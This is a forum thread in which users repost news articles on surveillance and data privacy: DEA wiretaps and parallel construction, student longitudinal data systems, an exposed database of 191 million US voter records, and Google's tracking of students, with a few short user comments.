      Investigators have used wiretaps in Riverside to seize hundreds of pounds of drugs and millions of dollars in cash. The taps have helped agents pinpoint smuggling tunnels dug beneath the Mexican border and map the inner workings of South American trafficking groups.

      But if the taps also produce arrests, they are difficult to find.

      Prosecutors seldom make use of state-court wiretaps in the federal courts around Los Angeles. And defense lawyers in Riverside said they only rarely encounter cases with disclosed wiretaps in state court. The county’s public defenders handle 40,000 criminal cases a year; no more than five involve disclosed wiretaps, said Steve Harmon, the head of that office.

      Instead, court records and interviews with DEA officials and prosecutors show the drug agency has used the fruits of its Riverside wiretaps to help stop and seize shipments of drugs and cash elsewhere in the United States. In some of those cases, agents used wiretaps to identify drug couriers, then tipped off other investigators, who were told to find their own independent evidence to conduct a search. That practice, known within the agency as “parallel construction,” is now the subject of an investigation by the Justice Department’s inspector general.

      “That approach ends up insulating dubious police practices from any kind of judicial review. That’s what so pernicious about it,” American Civil Liberties union lawyer Nathan Wessler said.

      Riverside’s District Attorney’s Office reported approximately one arrest for every three wiretaps that concluded last year, among the lowest rates of any jurisdiction that conducted more than a handful of taps. That’s a sign, Hestrin acknowledged, that many of the wiretaps may be leading to prosecutions in other jurisdictions.

      One surfaced last year after a state trooper stopped a tractor trailer on a remote stretch of interstate highway outside Harrisonburg, Va., ostensibly because some of the tiny LED bulbs around its cab had burned out. The trooper, Keith Miller, summoned a drug-sniffing dog, and within minutes, officers had pulled 32 kilograms of heroin and cocaine from compartments in the truck’s cab. Federal prosecutors indicted the driver, George Covarrubaiz, on drug possession charges.

      Miller testified during a court hearing – later described by a prosecutor as “a high-wire act” – that he had been tipped off by the DEA that the truck might be carrying drugs, but that the burnt-out lights were his “sole reason” for stopping the truck. The problem for prosecutors was that driving without those lights is not illegal in Virginia. The judge hearing the case warned that he was inclined to bar prosecutors from using the seized drugs as evidence because, if driving without the lights was legal, Miller had no valid reason to stop the truck.

      So seven months after Covarrubaiz was stopped and sent to jail, the Justice Department returned to court and acknowledged there was more to its investigation. Covarrubaiz, a government lawyer wrote, had been picked up in a “wiretap investigation of a significant California-based drug trafficking organization.” Investigators had been monitoring his calls using a tap approved by Hernandez in Riverside County, and agents from the DEA’s secretive Special Operations Division had been tracking his truck across the United States. During a 4 a.m. meeting at a nearby hotel, the agents directed Miller to find a reason to stop the truck and search it.

      The agents’ reports referred to the episode merely as a traffic stop because “that way they didn’t have to provide the information for the directed stop later,” agent Gregg Mervis later testified.

      Justice Department lawyers later said they had intended to reveal the wire all along but had not done so sooner because police had not yet locked up some of the investigation’s key targets. In particular, Assistant U.S. Attorney Grayson Hoffman pointed to the truck’s owner, Everardo Amador Sr., who he described as “a grave threat to the safety and well-being of the people of the United States.”

That’s hardly how California police treated Amador, though. Agents arrested him last year on charges that he had illegally possessed drug money – a far less serious charge than the federal narcotics case his driver faced in Virginia. A judge freed him the next day on $5,000 bail, at the prosecutor’s request.

Amador’s lawyer, Niicolas Estrada, called the Justice Department’s characterization “an exaggeration.”

Covarrubaiz’s lawyer, Randy Cargill, accused the Justice Department in a court filing of an “extraordinary strategy of doling out truth as it sees fit.”

In the end, U.S. District Court Judge Michael Urbanski declared himself “singularly unhappy with the way the government has conducted this case.” And in March, the Justice Department abandoned it altogether, dismissing the charges against Covarrubaiz. Assistant U.S. Attorney Heather Carlton told Urbanski that prosecutors had “re-evaluated the evidence” and concluded that “it would be best to terminate the investigation.”

The rest of her explanation is sealed.

Kelman also reports for The (Palm Springs, Calif.) Desert Sun. Contributing: Mark Hannan in McLean, Va.


Title: Re: they know what you are doing
Post by: space otter on November 14, 2015, 08:01:43 pm


tons of embedded links though out the article..sorry computer acting nasty can't copy  :(



http://www.msn.com/en-us/news/technology/the-astonishing-amount-of-data-being-collected-about-your-children/ar-BBmVxqN?li=AAa0dzB

The Washington Post
Valerie Strauss
12 hrs ago

The astonishing amount of data being collected about your children

Remember that ominous threat from your childhood, “This will go down on your permanent record?” Well, your children’s permanent record is a whole lot bigger today and it may be permanent. Information about your children’s behavior and nearly everything else that a school or state agency knows about them is being tracked, profiled and potentially shared.


During a February 2015 congressional hearing on “How Emerging Technology Affects Student Privacy,” Rep. Glenn Grothman of Wisconsin asked the panel to “provide a summary of all the information collected by the time a student reaches graduate school.” Joel Reidenberg, director of the Center on Law & Information Policy at Fordham Law School, responded:


“Just think George Orwell, and take it to the nth degree. We’re in an environment of surveillance, essentially. It will be an extraordinarily rich data set of your life.”

Most student data is gathered at school via multiple routes; either through children’s online usage or information provided by parents, teachers or other school staff. A student’s education record generally includes demographic information, including race, ethnicity, and income level; discipline records, grades and test scores, disabilities and Individual Education Plans (IEPs), mental health and medical history, counseling records and much more.

Under the federal Family Educational Rights and Privacy Act (FERPA), medical and counseling records that are included in your child’s education records are unprotected by HIPAA (the Health Insurance Portability and Accountability Act passed by Congress in 1996). Thus, very sensitive mental and physical health information can be shared outside of the school without parent consent.
Many parents first became aware of how widely their children’s personal data is being shared with third parties of all sorts when the controversy erupted over inBloom in 2012, the $100 million corporation funded by the Gates Foundation. Because of intense parent opposition, inBloom closed its doors in 2014, but in the process, parents discovered that inBloom was only the tip of the iceberg, and that the federal government and the Gates Foundation have been assisting the goal of amassing and disclosing personal student data in many other ways.

Ten organizations joined together, funded by the Gates Foundation, to create the Data Quality Campaign in 2005, with the following objectives:
Fully develop high-quality longitudinal data systems in every state by 2009;
Increase understanding and promote the valuable uses of longitudinal and financial data to improve student achievement; and
Promote, develop, and use common data standards and efficient data transfer and exchange.

Since that time,  the federal government has mandated that every state collect personal student information in the form of longitudinal databases, called Student Longitudinal Data Systems or SLDS, in which the personal information for each child is compiled and tracked from birth or preschool onwards, including medical information, survey data, and data from many state agencies such as the criminal justice system, child services, and health departments.

A state’s SLDS, or sometimes called a P20 database (pre-K to 20 years of age), P12, or B-20 (data tracking from birth), have been paid for partly through federal grants  awarded in five rounds of funding from 2005-2012. Forty-seven of 50 states, as well as the District of Columbia, Puerto Rico, and the Virgin Islands, have received at least one SLDS grant.

Although Alabama, Wyoming and New Mexico are not included on the site linked to above, Alabama’s governor recently declared by executive order that “Alabama P-20W Longitudinal Data System is hereby created to match information about students from early learning through postsecondary education and into employment.” Wyoming uses a data dictionary, Fusion, that includes information from birth. New Mexico’s technology plan shows that they moved their P-20 SLDS to production status in 2014 and will expand in 2015. This site run by the Data Quality Campaign tracks each state’s SLDS.

Every SLDS has a data dictionary filled with hundreds of common data elements, so that students can be tracked from birth or pre-school through college and beyond, and their data more easily shared with vendors, other governmental agencies, across states, and with organizations or individuals engaged in education-related “research” or evaluation — all without parental knowledge or consent,.

Every SLDS uses the same code to define the data, aligned with the federal CEDS, or Common Education Data Standards, a collaborative effort run by the US Department of Education, “to develop voluntary, common data standards for a key set of education data elements to streamline the exchange, comparison, and understanding of data within and across P-20W institutions and sectors.”

Every few months, more data elements are “defined” and added to the CEDS, so that more information about a child’s life can be easily collected, stored, shared across agencies, and disclosed to third parties. You can check out the CEDS database yourself, including data points recently added, or enter the various terms like “disability,” “homeless” or “income” in the search bar.

In relation to discipline, for example, CEDS includes information concerning student detentions, letters of apology, demerits, warnings, counseling, suspension and expulsion records, whether the student was involved in an incident that involved weapons, whether he or she was arrested, whether there was a court hearing and what the judicial outcome and punishment was, including incarceration.

This type of information is obviously very sensitive and prejudicial, and often in juvenile court, records are kept sealed or destroyed after a certain period of time, especially if the child is found innocent or there is no additional offense; yet all this information can now be entered into his or her longitudinal record with no particular restriction on access and no time certain when the data would be destroyed.
 
Expanding and Linking Data across States

Nearly every state recently applied for a new federal grant to expand its existing student longitudinal data system, including collection, linking and sharing abilities. You can see the federal request for proposals. Pay special attention to Section V, the Data Use section of the grant proposal, requiring states to collect and share early childhood data, match students and teachers for the purpose of teacher evaluation, and promote inter-operability across institutions, agencies, and states.

The 15 states and one territory, American Samoa, that won the grants were announced Sept. 17, 2015, and are posted here. President Obama’s 2016 budget request has a number of additional data­ related provisions, including a near tripling in funding for State Longitudinal Data Systems ($70 million) and Department of Labor Workforce Data Quality Initiative ($37 million) aimed at attaching adult workforce personal data with his or her student records.

Though the federal government is barred by law from creating a national student database, the U.S. Department of Education has evaded this restriction by means of several strategies, including funding multi-state databases, which would have been illegal before FERPA’s regulations and guidance were rewritten by the Department in 2012.

The federal grants encourage participation in these multi-state data exchanges. One existing multi-state database is WICHE, the Western Interstate Commission for Higher Education, which includes the 15 Western states that recently received an additional $3 million from the federal government. This WICHE document explains that the project was originally funded by the Gates Foundation, and that the foundation’s goal of sharing personal student data across state lines and across state agencies without parental consent was impermissible under FERPA until it was weakened in 2012:


 Upon approval of WICHE’s proposal by the Gates Foundation, the pilot MLDE (Multistate Longitudinal Data Exchange) project began in earnest in June, 2010, and the initial meeting to begin constructing the MLDE was held in Portland, Oregon, in October, 2010. It is worth placing the launch of the MLDE pilot within an historical timeline of events bearing on the development and use of longitudinal data. As the project got underway, the federal government’s guidance on the application of the Family Educational Rights and Privacy Act (FERPA) was still fairly restrictive. Indeed, based on a subsequent conversation with a member of the Washington State Attorney General’s office, our plans to actually exchange personally identifiable data among the states would be impermissible under the FERPA guidance in effect at that time. Though we were told we would have been able to assemble and use a de-identified dataset, which would have shown much of the value of combining data across states, not being able to give enhanced data back to participating states would have been a serious setback. Changes in the federal government’s guidance on FERPA that went into effect in January, 2012 resolved this problem.

The new guidance permitted the participating states to designate WICHE as an authorized representative for the purposes of assembling the combined data, while also allowing the disclosure of data across state lines and between state agencies.

Since 2010, the Gates Foundation has funded WICHE with more than $13 million. Just to underscore how powerful this organization has become, Colorado Lieutenant Governor Joe Garcia just stepped down from his post to head WICHE. Here is a helpful chart showing how student personal data is to be shared, among state agencies and across state lines.

 
Existing multi-state databases include not just WICHE, but also SEED, formerly Southeastern Education Data Exchange, now called the State Exchange of Education Data, including Alabama, Colorado, Florida, Georgia, Kentucky, North Carolina, Oklahoma, and South Carolina.

This North Carolina PowerPoint from 2013 describes what detailed information is to be shared among the states participating in SEED: data aligned with CEDS, including demographic information, academic and test score data, and disciplinary records. Here is a Georgia document, explaining how SEED will be “CEDs compliant” and describes in even more detail the sort of information that will be exchanged.

In addition, the two Common Core testing multi-state consortia funded by the federal government, PARCC and Smarter Balanced, are accumulating a huge amount of personal student data across state lines, and potentially sharing that information with other third parties. Under pressure, PARCC released a very porous privacy policy last year; Smarter Balanced has so far refused to provide any privacy policy, even after requests from parents in many of the participating states.
 
What Parents Can Do

Ask your State Education Department if they applied for this new grant to expand their SLDS, and if so, ask to see the grant proposal. You can also make a Freedom of Information request to the U.S. Department of Education to see the grant application. Ask what methods your state is using to protect the data that the SLDS already holds, and if the data is kept encrypted, at rest and in transit. Ask what categories of children’s data they are collecting, which agencies are contributing to it, and what third parties, including vendors and other states, may have gained access to it. Ask to see any inter-agency agreements or MOUs allowing the sharing education data with other state agencies. Ask if any governance or advisory body made up of citizen stakeholders exists to oversee its policies.

You should also demand to see the specific data the SLDS holds for your own child, and to challenge it if it’s incorrect – and the state cannot legally deny you this right nor charge you for this information under FERPA.

This was conclusively decided when a father named John Eppolito requested that the Nevada Department of Education provide him with a copy of his children’s SLDS records, and the state demanded $10,000 in exchange. He then filed a complaint with the US Department of Education, which responded with a letter on July 28, 2014, stating that the state must provide him with the data it holds for his child, as well as a record of every third party who has received it; and that they cannot charge a fee for this service.

Parents also have the right to correct their child’s data if it is in error. Apparently Mr. Eppolito found many errors in his children’s data. Even if it is accurate, the data that follows your child through life and across states could diminish his or her future prospects. As this  Department of Education study points out,


“…imagine a student transferring from another district into a middle school that offers three levels of mathematics classes. If school staff associate irrelevant personal features with mathematics difficulties, the representativeness bias could influence the student’s placement… educators have been found to have a tendency to pay more attention to data and evidence that conform to what they expect to find.”

Schools could use this data to reject students, push them out, or relegate them to remedial classes or vocational tracks.

There is also abundant research that shows that a teacher’s expectations play a significant role in how a student performs – especially for marginalized groups. This is called the Pygmalion effect in the case of a teacher’s positive expectations, and the Golem effect in the case of negative expectations. These studies reveal that if teachers are provided with positive or negative information about their students before having a chance to form their own opinions based upon actual experience, this prior information often tends to bias their judgments and perceptions of that student, creating self-fulfilling prophecies.   Parents should be legitimately fearful that positive or negative data may be used to profile their children, and potentially damage their chance of success.
 
What Else Can You Do?

If you send your children to a public school, under current federal law you have no way of opting out of the P20 profile that has been created by your state and potentially shared with others. You also have no right to refuse to have your child’s data disclosed to testing companies and other corporations in the name of evaluation and research. Researchers have legitimate interests in being able to analyze and evaluate educational programs, but any sensitive personal data should be properly de-identified and there must be strict security provisions to safeguard its access and restrict further disclosures, as well as a time certain when it will be destroyed. You do have the right to see that data, and challenge it if it is inaccurate.

You should also advocate for stronger state and federal laws to protect your child’s data and laws that give parents and students the right of ownership, including the ability to decide with whom it will be shared. You should urge your state Education Department to create advisory or governance boards that include stakeholder members, to provide input on restrictions on access and security requirements.

Any federal and state student privacy legislation should embrace five basic principles of student privacy, transparency and security, developed by the Parent Coalition for Student Privacy. Ask your elected officials to support TRUE data privacy and transparency legislation, to protect children. Parents deserve to know the data collected and shared about their children, and they should be guaranteed that their children’s data is safe from breaches and misuse.


some of the embedded links re worth checking out






Title: Re: they know what you are doing
Post by: Ellirium113 on November 30, 2015, 05:32:26 pm
New "Tattle-Tale" Barbie will console you child with AI and act as a digital diary. It will also report "abuse" to the authorities. It will be like having child protective services in your very own home 24/7. Mommy won't give you a candy bar? No problem Tell Barbie what a mean mommy you have and the courts will help her become a better improved mommy. :P

As if THAT isn't bad enough...beware...Barbie's voice may suddenly change to that of deranged pedophile or worse.

[youtube]http://www.youtube.com/watch?v=oYIHVMdfgSY[/youtube]
Title: Re: they know what you are doing
Post by: Dyna on December 12, 2015, 10:41:00 am
My sisters Amazon account was hacked yesterday her credit cards had to be changed $200.00 gone, good time to change the passwords on any account. >:(
Title: Re: they know what you are doing
Post by: space otter on December 29, 2015, 12:48:02 pm
http://www.huffingtonpost.com/entry/voter-data-leak-online_56818512e4b014efe0d8de3d

Someone Let Your Voting Data Leak Online.
 Here's What That Means
"Our society has never had to confront the idea of all these records, all in one place, being available to anyone in the entire world for any purpose instantly."

? 12/28/2015 04:40 pm ET
Alexander Howard
Senior Editor for Technology and Society, The Huffington Post

There's a database of 191 million voter records online, and no one knows where it came from or who owns it.

That revelation comes from security researcher Chris Vickery, who found the data on Dec. 20 and shared his discovery with an anonymous privacy advocate at DataBreaches.net and CSO Online's Steve Ragan, who confirmed that the records of American voters -- including himself -- are indeed available for free online.

The data in question includes the full of name of a given voter, his or her home address, phone number, gender, date of birth, state voter ID, unique voter ID, date of voter registration, phone number, political affiliation and whether or not he or she voted in primary elections, beginning in 2000.

Stewart Brand, the founder of the Whole Earth Catalog, famously said that "information wants to be free." But when it comes to the sacred act of voting in a democracy, should that information be freely and easily accessible online? 

"Our society has never had to confront the idea of all these records, all in one place, being available to anyone in the entire world for any purpose instantly," wrote Vickery on Reddit on Monday. "That's a hard pill to swallow."

While state voter registration records are public records, it isn't always easy -- or cheap -- to access them across the United States.

Using voter data is also tricky. Depending on the state, the data may not be used for commercial or charitable purposes, or it may only be used for political or electoral purposes, or it may have no restrictions at all.

Both Ragan and DataBreaches.net suggested that the data originated with campaign software vendor NationBuilder, which provides its users with access to a national voter file.

NationBuilder founder and CEO Jim Gilliam, however, told The Huffington Post that while some of the data probably came through his firm, the schema -- or how it's structured -- is not theirs.

In a post published to the NationBuilder blog, Gilliam indicated that, from what his team has seen, there is no new or private information released in this database beyond what is already available from each state government.

In the meantime, this episode can tell us three things.

First, data is a strategic asset in 21st century campaigns. When the Democratic National Committee cut off the Bernie Sanders campaign's access to a national voter file after a staffer looked at confidential information, the move posed a huge risk to the campaign's ability to do voter identification and fundraising. While the DNC ultimately restored the Sanders campaign's access, the episode showed how much that data matters. In addition, the way the Obama campaign used data to rally voters is of great interest to every presidential candidate this election season.

Second, this episode will call attention to the ethics of public data access, from inequities of access between campaigns to whether this category of public records should be available online at all.

“We strongly believe in making voter information more accessible to political campaigns and advocacy groups, so we provide cleaned versions of that publicly accessible information to them for free," said Gilliam.

Generally speaking, Americans are comfortable with open data about safety and restaurants, but not their mortgages. It may come as a surprise to many citizens to know that state governments are publishing their voting history.

Finally, consumer data privacy deserves more scrutiny. While some states do regulate use, there are limited formal protections for voting data as a category of personal information or statutory consequences for campaigns or organizations that inadvertently expose it.

In theory, the Federal Elections Commission might weigh in, but despite having figured out how to disclose data online, the dysfunctional regulator remains at war with itself, unlikely to curb abuse of election laws in 2016.

In practice, it's up to Congress and the courts to decide if threats to voter privacy merit national limits on data use.

................................

http://www.csoonline.com/article/3018592/security/database-configuration-issues-expose-191-million-voter-records.html#tk.rss_all

 

Salted Hash- Top security news
By Steve Ragan
Fundamental security insight to help you minimize risk and protect your organization
Opinion
Database configuration issues expose 191 million voter records

Massive database exposed to public, major political data managers deny ownership

  CSO | Dec 28, 2015 4:00 AM PT

A misconfigured database has led to the disclosure of 191 million voter records. The database, discovered by researcher Chris Vickery, doesn't seem to have an owner; it's just sitting in the public – waiting to be discovered by anyone who happens to be looking.

What's in the database?

The database was discovered by researcher Chris Vickery, who shared his findings with Databreaches.net. The two attempted to locate the owner of the database based on the records it housed and other details. However, their attempts didn't pan out, so they came to Salted Hash for assistance.

Never one to shy away from a puzzle, I agreed to help. the best place to start looking was the database itself. That's when Vickery sent me my personal voter record from the database. It was current based on the elections listed. My personal information was accurate too. Vickery discovered his own record as well, so I asked him about his initial reaction.


"My immediate reaction was disbelief," Vickery said.

"I needed to know if this was real, so I quickly located the Texas records and ran a search for my own name. I was outraged at the result. Sitting right in front of my eyes, in a strange, random database I had found on the Internet, were details that could lead anyone straight to me. How could someone with 191 million such records be so careless?"

The database contains a voter's full name (first, middle, last), their home address, mailing address, a unique voter ID, state voter ID, gender, date of birth, date of registration, phone number, a yes/no field for if the number is on the national do-not-call list, political affiliation, and a detailed voting history since 2000. In addition, the database contains fields for voter prediction scores.

All voter information, except for a few elements protected by law in some states, is public record. For example, in Ohio, voter records are posted online. Other states make obtaining voter records a bit more challenging or outright expensive, but they're still available. For the most part, voter data is restricted to non-commercial purposes.

However, each state has its own rules for such data.

Point in case, in Alaska, Arkansas, and Colorado, voter data has no restrictions placed on it. However, in California, voter data may only be used for political purposes and may not be made available to persons outside of the U.S. South Dakota has a law that is directly related to this article's focus:

"...the voter registration data obtained from the statewide voter registration database may not be used or sold for any commercial purpose and may not be placed for unrestricted access on the internet."

The database discovered by Vickery doesn't contain Social Security Numbers or driver license numbers, but it's still a massive collection of data.

Again, most states or data brokers require that anyone obtaining voter data affirm that they're not going to use it for commercial gain and that they'll follow all related state laws.

Yet, because the information Vickery discovered is in a database available to anyone on the Internet who knows how to find it, it's essentially unrestricted data.

 shared my personal voting file with a few election sources and experts. One of them offered a simple explanation as to why it exists, and what a database such as this could be used for during an election season.

"This file has all the basic information that a voter file would have on you: your address, date of birth, every election you did or didn't vote in, and some basic demographic information. Campaigns use all of [this] information to target their messages more efficiently: to make sure they're targeting not just the right people, but people who will actually end up voting. Most of this data is public record, with the caveat that it can only be used for campaign purposes," explained Maclen Zilber, a Democratic political consultant with the firm Shallman Communications.

"Some major voting data companies will give each voter a rating of how likely they are to turn out and vote, how likely they are to support a given political party, and even more niche questions such as how likely they are to support a specific issue. The prediction score row suggests that this file is from a company selling voter data, not just a file from a government database."

Who owns the database?

Salted Hash reached out to several political data firms in an effort to locate the owner of the exposed database. Dissent (admin of Databreaches.net) did the same thing. However, none of our efforts were successful.

The following firms were contacted by Salted Hash for this story: Catalist, Political Data, Aristotle, L2 Political, and NGP VAN. Databreaches.net reached out to Nation Builder. Speaking to Dissent, Nation Builder said that the IP address hosting the database wasn't one of theirs, and it wasn't an IP address for any of their hosted clients.

As for the firms contacted by Salted Hash, each of them denied that the database was theirs, and in the case of NGP VAN, the technical aspects of the infrastructure (Linux vs. Windows) ruled them out because they're a Windows shop and the data is housed as part of a Linux build.

A later attempt to contact i360, another political data firm, was unsuccessful. In addition, DSPolitical, TargetSmart, and Data Trust were also contacted about the database.

Conversations between TargetSmart and Salted Hash went as expected by this point; the database isn't theirs and they are not using that IP address. If DSPolitical and Data Trust respond to questions, this story will be updated.

Update: Data Trust has reached out with confirmation that the database isn't theirs.

Update 2: DSPolitical has responded to state that the database isn't theirs.

How was this database compiled?

For the last week, Salted Hash has attempted to discover not only who owns the database that's been exposed to the public, but also how it was compiled. The hope was that if the owner couldn't be determined, then knowing the source of the data could be useful, as the vendor might be able to contact a customer and alert them to the problem.

As it turns out, researching this story was a bit complicated because of the Sanders / Clinton / NGP VAN voter database incident. Many of those contacted by Salted Hash assumed the two stories were somehow connected.

To be perfectly clear, this story is not related to the Sanders / Clinton incident at all.


The NGP VAN incident involving the Sanders and Clinton campaigns centered on a software configuration error that resulted in the Sanders campaign seeing client scores from the Clinton camp. There were no voter records exposed, just client scores.

In fact, the Sanders and Clinton campaigns share the exact same DNC voter database. The information exposed was added by one campaign, and the glitch allowed the other campaign to see it.

What Vickery has discovered is worse, because the data he discovered isn't a client score – it's a complete voter record for 191 million registered voters. The problem is, no one seems to care that this database is out there and no one wants to claim ownership.

As it turns out, many state and county elections offices charge for access to voter data. Sometimes, voter data is free, but when there's a cost involved, the total paid can be extreme. For example, in 2012, the fee to obtain 3 million voter registration records in Alabama was just over $29,000. Such costs can really cut into the budget of a political campaign, so campaign managers will turn to various political data firms and purchase the information needed at a lower cost.

One of the places campaigns turn to is Nation Builder. When Vickery first discovered the voter database, he and Dissent identified Nation Builder as the possible source of the data. However, as mentioned, Nation Builder denied that the IP address was theirs. They also said the IP wasn't being used by any of their hosted clients.


But did the data in the exposed voter database come from Nation Builder? Based on the database schema and formatting, yes, it did. The personal voter file given to me by Vickery is clearly from a Nation Builder data set.

In the U.S., few vendors maintain a national voter file. For those vendors that do, each voter file has signature components that are unique to that particular vendor – similar to a digital fingerprint.

In order to distinguish one voter file source from another, one can compare the file structure - how the vendor chooses to name various fields as well as the order in which they appear on their file. Another clear distinguishing factor is the unique voter ID - the code that the vendor assigns to each voter in the country.

Each vendor that deals with national voter files has their own distinct approach to creating unique identifiers for voters.

In my voter record, the voter ID and the field names point directly to Nation Builder as the source of the data that's been exposed. When you compare my voter record to the file structure published by Nation Builder, there are clear similarities including the nbec_precinct_code.

This code is unique to Nation Builder. It's shorthand for Nation Builder Election Center Precinct Code. In my case, that code is: 18097-Marion-Center (Marion County, Center Township).

As for the voter ID, my voter record uses a voter ID code consisting of 32 letters and numbers separated by dashes: 058a902b-4e1d-4989-8fdb-4976f48fbfb6


Multiple firms questioned about the digital fingerprints in my voter record (UID / NBEC code) quickly concluded that Nation Builder was the source of the data, and one said that this would be clear to anyone who has ever viewed Nation Builder before.

But is Nation Builder to blame? Not really...

So while Nation Builder denied any claim to the IP and the leaked database, it's entirely possible they might know who developed it – but that would require an extensive records check. This is because a developer or campaign wishing to access the Nation Builder Election Center would need to register their contact details, such as name and email address.

However, Nation Builder is under no obligation to identify customers, and once the data has been obtained, they cannot control what happens to it. In short, while they provided the data that's in my newly leaked voter record, they're not liable in any way for it being exposed.

And to be clear, I don't blame Nation Builder for my leaked record either, I blame the person(s) who developed the database and poorly configured its hosting. I'm just not sure who they are yet.

Either way, I'm just one individual. There are more than 191 million people with records in this database. So if you're a registered voter in the U.S., you should know your data has been exposed.

Moreover, there is no way to know for sure how long this database has existed online, and for some of you – that's a problem. Point in case, the law enforcement officer that spoke to Dissent about their leaked voter file.


Based on the voter count and some of the records, the database appears to be from Nation Builder's 2014 update from February or March, but unless the database owner is contacted and confirms, there's no way to prove that conclusion.

The concern is the potential for abuse. Stalking and the exposure of people who normally don't share their personal information is certainly an issue.

There are other long term issues too. The personal information in this database, including political affiliation, date of birth, could be used to construct a targeted Phishing campaign.

While most people are aware of financially-based Phishing attacks, or those focused on retail or shipping, a targeted list based on politics might have a higher level of success, especially this time of year heading into the 2016 election cycle.

Vickery and Dissent have reached out to federal law enforcement for assistance in locating the database's owner or removing it from public view. In addition, they've contacted the California Attorney General.

At the time this article was written and published, the database was still live.

........................

just one link in a search with tons of info out there....

https://elections.nationbuilder.com/developer/docs

search for :   Nation Builder Election Center Precinct Code
and got pages
grrrrrrrrrrrrrrrrrrrrrr

Title: Re: they know what you are doing
Post by: space otter on December 30, 2015, 08:14:46 am

this younger computer generation doesn't have a chance to know what privacy is..sigh


https://www.washingtonpost.com/news/the-switch/wp/2015/12/28/google-is-tracking-students-as-it-sells-more-products-to-schools-privacy-advocates-warn/

By Andrea Peterson December 28


The Switch

Google is tracking students as it sells more products to schools, privacy advocates warn


In public classrooms across the country, the corporate name that is fast becoming as common as pencils and erasers is Google.

More than half of K-12 laptops or tablets purchased by U.S. schools in the third quarter were Chromebooks, cheap laptops that run Google software. Beyond its famed Web search, the company freely offers word processing and other software to schools. In total, Google programs are used by more than 50 million students and teachers around the world, the company says.

But Google is also tracking what those students are doing on its services and using some of that information to sell targeted ads, according to a complaint filed with federal officials by a leading privacy advocacy group.

And because of the arrangement between Google and many public schools, parents often can’t keep the company from collecting their children’s data, privacy experts say.

“In some of the schools we’ve talked to parents about, there’s literally no ability to say, ‘no,’” said Nate Cardozo, a staff attorney at the Electronic Frontier Foundation.

Google, whose parent company is called Alphabet, pushed back against the criticism, saying its education apps comply with the law. But it acknowledged it collects data about some student activities to improve its products.

"We have always been firmly committed to keeping student information private and secure," Jonathan Rochelle, director of Google Apps for Education, wrote in a blog post defending its practices. Google declined to comment further.

But privacy advocates warn that many school administrators may not realize just how much information Google is collecting or how it may be used beyond providing educational services. And for some parents, the arrangement is concerning.

Jeff, who spoke on the condition that his last name not be published to protect his family’s privacy, lives in a Roseville, Calif. school district that requires students to use Google’s education products. He said he has struggled to keep his 4th grade daughter out of Google’s system.

“Google’s primary source of income is collecting data on people,” he said. “And we didn’t like the idea of that being in our school system.”

***

In just a few short years, Google has become a dominant force as a provider of education technology. In 2012, Chromebooks made up less than 1 percent of all laptops and tablets shipped to K-12 schools in the United States, while Apple supplied more than half of all sales, according to Futuresource Consulting. The firm’s latest data shows that Chromebooks accounted for 51 percent of those device sales in the third quarter of this year, while Apple captured 24 percent and Microsoft 23 percent.

Google’s fast rise has partly been because of low costs: Chromebooks can often be bought in the $100 to $200 range, a fraction of the price for a MacBook. And its software is free to schools.

As its products were taking off in classrooms, Google earlier this year signed onto an industry-led student privacy pledge where it promised to limit how it collects and uses information about students.

But in a filing with the Federal Trade Commission, the Electronic Frontier Foundation (EFF) argued Google is tracking nearly everything students are doing when they are signed into their Google accounts and, in some cases, using that information to build profiles and serve them targeted ads in certain Google programs.

Google only considers some services parts of its education suite -- such as Gmail, Calendar, Google Docs -- but not others such as Search, Maps, Youtube, and Google News. So if students are logged into their educational account and use Google News to find stories for a report or watches a history video on Youtube, Google can use that activity to build a profile about them and serve them advertisements outside its educational products, EFF alleges.

The EFF also says that a feature automatically turned on in Chromebooks -- including those sold to schools -- runs afoul of Google’s privacy pledge. The feature, dubbed Chrome Sync, lets Google users port their browsing history, passwords and other personalized features between any Chromebook or Chrome browser that they log into. The EFF protested Google’s effort to track that activity and use it for commercial purposes without parental consent.
Google wrote in a blog post that the decision to allow students to use Chrome Sync or use apps beyond its core education suite is up to school districts. The data collected through Chrome Sync is only used in the aggregate to improve its products and all identities are scrubbed, the company’s blog post said.

The authors of the student privacy pledge -- the Future of Privacy Forum, an industry-backed think-tank, and SIIA, a trade association -- came to Google’s defense, saying the EFF’s accusations went too far.

“We have reviewed the EFF complaint but do not believe it has merit,” Jules Polonetsky, the executive director of the Future of Privacy Forum, said in a statement.

But privacy advocates say the complaint should be a wake up call not just to Google, but to other companies handling student data.

“There are so many different apps and providers -- and overwhelmingly students are not getting the kind of security and privacy protection they deserve,” said Khaliah Barnes, an associate director at the Electronic Privacy Information Center.

And thanks to a 1970’s-era student privacy law, school districts don’t need parents’ written consent to share information about students with the companies they contract with, privacy advocates said.

Many school districts simply leave parents “in the dark” about who is tracking their children’s activities in school, said Barnes.

A 2013 study examining a national sample of public school districts found that 95 percent of them relied on some sort of online cloud service. But only a quarter of those districts informed parents about their use of such systems and one in five lacked policies governing the use of online services.

Fewer than a quarter of service agreements spelled out why the school district was disclosing student information to a vendor and less than 7 percent restricted vendors from selling or marketing data about students, according to the study.
“I think officials in most school districts in the U.S. are completely ignorant about the information they are giving out about their kids,” said Joel Reidenberg, a Fordham University law professor and one of the authors of the study.

***

In the Washington suburbs, Alexandria City public schools have been using some Google education programs since 2013. This year, the school district switched to Chromebooks for high school students and is piloting them for 4th and 5th graders.

The district does not require parents’ explicit consent for the Chromebook program, except when elementary school students take the devices home, said chief technology officer Elizabeth Hoover. Since the EFF’s complaint, she has heard from one parent who raised privacy concerns and says the district will try to work with families who are uncomfortable with it.

But, she stressed, the district had taken a number of steps to protect students’ privacy. For instance, the district disabled the Chrome Sync feature before rolling the devices out. And they’ve limited the services that students can access from their school Google accounts to Google Drive, Gmail, and Maps, she said.

“Working with GAFE has its own set of challenges so we try to proceed cautiously,” Hoover explained.

Pushes to beef up student privacy protections on the federal level have hardly gained traction. But in 2014, 28 student data privacy laws were signed into law across 20 states, according to the an analysis by the Data Quality Campaign. One of the toughest was a California law that bars school vendors from selling student data, using it to target advertisements, or building a profile about them for non-educational purposes.

Laura Assem, the chief technology officer at the Roseville City School District in California, said the school system is evaluating how the state law will impact their district and its vendors. “Unfortunately, technology advances faster than legislation, but you can’t remove technology from education because it’s an accelerator,” she said.




This year, administrators turned down an offer from Jeff’s family to provide a personal device for their daughter, Jeff said. According to an e-mail Jeff shared with The Post, Roseville City School District superintendent Derk Garcia said that the school system was “considering removing the opt out clause” for parents starting the next school year. It was only after Jeff sought counsel from EFF that his family was able to work out a solution, he said.

